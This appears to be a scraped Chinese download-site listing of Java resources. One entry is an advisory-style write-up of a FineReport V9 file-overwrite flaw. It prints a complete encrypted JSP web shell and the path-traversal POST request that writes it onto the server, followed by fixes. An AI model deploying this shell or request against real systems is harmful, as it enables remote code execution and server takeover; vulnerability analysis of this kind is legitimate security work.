org.apache.http.Header; org.apache.http.HttpException; org.apache.http.HttpRequest; org.apache.http.HttpRequestInterceptor; org.apache.http.HttpResponse; org.apache.http.HttpStatus; org.apache.http.NameValuePair; org.apache.http.client.entity.UrlEncodedFormEntity; org.apache.http.client.methods.HttpGet; org.apache.http.client.methods.HttpPost; org.apache.http.conn.scheme.Scheme; org.apache.http.conn.ssl.SSLSocketFactory; org.apache.http.impl.client.DefaultHttpClient; org.apache.http.message.BasicNameValuePair; org.apache.http.params.CoreConnectionPNames; org.apache.http.protocol.HttpContext; jar包
2026-02-17 23:07:06 1.98MB Java网络请求 HttpPost HttpGet HttpClient
1
### 帆软V9getshell1:任意文件覆盖与JSP Web Shell植入详解 #### 一、背景介绍 帆软软件有限公司(FineSoft)是中国领先的企业级报表工具及商业智能解决方案提供商,其核心产品之一为FineReport报表设计工具。在2023年某次安全研究中发现了一个严重安全漏洞——任意文件覆盖(Arbitrary File Overwrite),该漏洞允许攻击者通过特定的操作路径上传恶意JSP脚本到目标服务器上,进而获得服务器权限。这一漏洞被命名为“帆软V9getshell1”。 #### 二、漏洞原理 ##### 2.1 任意文件覆盖机制 任意文件覆盖是指攻击者能够替换或修改服务器上的现有文件。在帆软报表系统的实现中,存在一处逻辑缺陷使得攻击者可以利用该功能来覆盖特定的JSP文件。 ##### 2.2 JSP马的上传与执行 1. **文件路径构造**:攻击者通过精心构造请求中的`filePath`参数,指向一个合法的JSP文件路径。例如,攻击者可以通过设置`filePath`为`../../../../WebReport/update.jsp`,将恶意代码写入到`WebReport`目录下的`update.jsp`文件中。 2. **恶意JSP代码**:攻击者准备了如下恶意JSP代码: ```jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <% class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } if(request.getParameter("pass")!=null) { String k=(""+UUID.randomUUID()).replace("-", "").substring(16); session.putValue("u",k); out.print(k); return; } Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %> ``` 该代码实现了以下功能: - 通过`request.getParameter("pass")`判断是否接收到触发命令。 - 使用AES加密算法对会话中的密钥进行初始化,并解码用户发送的数据。 - 动态加载并执行解密后的类文件,实现远程代码执行。 3. **HTTP请求示例**:攻击者通过发送如下POST请求将恶意代码写入指定位置: ``` POST /WebReport/ReportServer? op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Connection: close Accept-Au: 0c42b2f264071be0507acea1876c74 Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%>......","__CHARSET__":"UTF-8"} ``` 4. **利用Tomcat自带的JSP文件**:由于帆软报表系统通常部署在Apache Tomcat服务器上,攻击者可以利用Tomcat默认存在的JSP文件(例如`/tomcat-7.0.96/webapps/ROOT/index.jsp`)作为切入点,通过覆盖这些文件来植入恶意代码。 #### 三、修复建议 1. **升级补丁**:及时安装官方发布的最新版本或安全补丁,以修复已知的安全问题。 2. **限制文件路径**:对用户提交的文件路径进行严格的验证和过滤,避免攻击者通过构造恶意路径覆盖敏感文件。 3. **加强认证与授权**:对关键操作增加二次验证机制,限制非授权用户的访问权限,确保只有经过身份验证的用户才能执行敏感操作。 4. **审计日志记录**:开启并维护详细的审计日志,以便在发生异常情况时进行追踪和分析。 #### 四、总结 帆软V9getshell1这一漏洞揭示了在开发过程中忽视输入验证和权限控制所带来的潜在风险。企业应高度重视此类安全问题,并采取有效措施降低被攻击的风险。同时,用户也应增强安全意识,避免在不安全的网络环境中使用重要系统和服务。
2025-08-24 00:18:39 285KB java 网络协议 windows chrome
1
文档支持目录章节跳转同时还支持阅读器左侧大纲显示和章节快速定位,文档内容完整、条理清晰。文档内所有文字、图表、函数、目录等元素均显示正常,无任何异常情况,敬请您放心查阅与使用。文档仅供学习参考,请勿用作商业用途。 你是否渴望掌握一门强大且通用的编程语言,来推动自己的职业发展?Java 就是你的不二之选!作为一种广泛应用于企业级开发、移动应用、大数据等众多领域的编程语言,Java 以其跨平台性、高性能和丰富的类库,为开发者提供了一个稳定而高效的开发环境。
2025-08-04 11:07:36 4.13MB java
1
通过jcifs实现java访问网络共享文件 jcifs 是 cifs(common internet file system) java的实现 smb (service message block) to be cifs jcifs 是一个开源项目 可从http://jcifs.samba.org/下载 SmbFileInputStream,SmbFileOutputStream,SmbFile这里对应着io里的FileInputStream FileOutputStream,File,如果对io比较熟悉那么jcifs比较容易应用 下面一个最简单的例子说明jcifs的用法 import jcifs.smb.SmbFileInputStream; import jcifs.smb.SmbFile; public class ReadShareFile { public static void main(String[] args) { try{ SmbFile smbFile=new SmbFile("smb://test:test@10.218.100.12/share2/aa.txt"); //通过 smbFile.isDirectory();isFile()可以判断smbFile是文件还是文件夹 int length=smbFile.getContentLength();//得到文件的大小 byte buffer[] = new byte[length] ; SmbFileInputStream in = new SmbFileInputStream(smbFile) ; //建立smb文件输入流 while((in.read(buffer)) != -1){ System.out.write(buffer); System.out.println(buffer.length); } in.close(); }catch(Exception e){ e.printStackTrace(); }
2025-05-20 22:19:31 1.12MB jcifs java 网络共享
1
[毕业设计]JAVA网络端口监控与远程扫描系统(论文+源代码)
2025-04-02 22:24:31 275KB
1
网页版答题系统是一种基于Web的在线测试平台,它利用HTML、CSS和JavaScript等前端技术构建用户界面,结合Java后端处理逻辑,实现学生在线答题、自动评分等功能。这个系统特别适用于教师检查学生的作业,减轻了批改作业的工作量,提高了教学效率。 在描述中提到的“网页版答题”,其主要组成部分包括以下几个方面: 1. **HTML页面**:HTML(HyperText Markup Language)是构成网页的基础,负责展示题目、选项和答题区域。通过表格、段落等元素布局,使页面具有良好的阅读体验。同时,使用表单元素(如``、``来设置互斥的选项,多选题使用``允许选择多个正确答案,而填空题则可能使用``让用户输入文字答案。 3. **计分机制**:系统需要有计算总分的功能。这可以通过JavaScript实现,用户提交答案后,前端可以立即进行初步验证和计分,提供即时反馈;而最终得分通常会在用户提交所有答案后,由服务器端进行校验和计算,确保准确无误。 4. **Java后端**:作为“网页版答题”的核心部分,Java负责处理用户的请求,如获取题目、提交答案、计算总分等。使用Java可以构建稳定且高效的服务器端,例如使用Spring Boot框架构建RESTful API,接收HTTP请求并返回JSON数据。 5. **数据库**:存储题目、选项、答案以及学生的答题记录。可以使用关系型数据库如MySQL,或者NoSQL数据库如MongoDB,根据实际需求存储和管理数据。 6. **安全性**:考虑到作业检查的公正性,系统应有防止作弊的措施,如限制答题时间、禁止使用开发者工具查看源代码,甚至采用验证码等方式验证用户身份。 7. **用户认证与权限管理**:对于教师,他们可以创建、编辑和发布试题,查看学生答题情况;对于学生,他们只能答题和查看自己的分数。因此,系统需要实现用户登录、权限控制功能。 8. **反馈与错误处理**:当用户提交的答案有误或格式不正确时,系统应能提供清晰的错误提示,帮助用户及时更正。 9. **性能优化**:为了保证大量用户同时在线答题,系统需要考虑性能优化,如缓存策略、负载均衡等。 "网页版答题(Java,用于检查作业)"是一个综合性的项目,涵盖了前端开发、后端编程、数据库设计、网络通信等多个IT领域的知识。通过这个系统,不仅可以提升教育信息化水平,也能为开发者提供丰富的实践机会,提升他们的技术能力。
2024-08-25 09:42:11 2.75MB Java 网络版答题
1
网络课程作业,使用Jpcap实现的java网络抓包程序,支持ipv6,内附源码及文档 使用前先安装wincap和jpcap
2024-05-22 16:16:13 888KB Jpcap 抓包 ipv6
1
最近获得的《Java网络编程实例》一书的源代码,上次在CSDN看到一个相同的资源,结果一下载打开,机子就中毒了,强烈鄙视那种上传病毒的人!
2024-04-16 15:31:19 8.51MB Java网络编程实例源代码
1
java对接modbus RTU、TCP 网口串口都支持 的 工具jar
2024-04-10 16:08:11 536KB java 网络协议
1
android java 开发can通信demo 发送canid 标准帧 扩展帧 数据 进行接收和发送
2024-01-13 11:05:04 2.14MB android java 网络 网络
1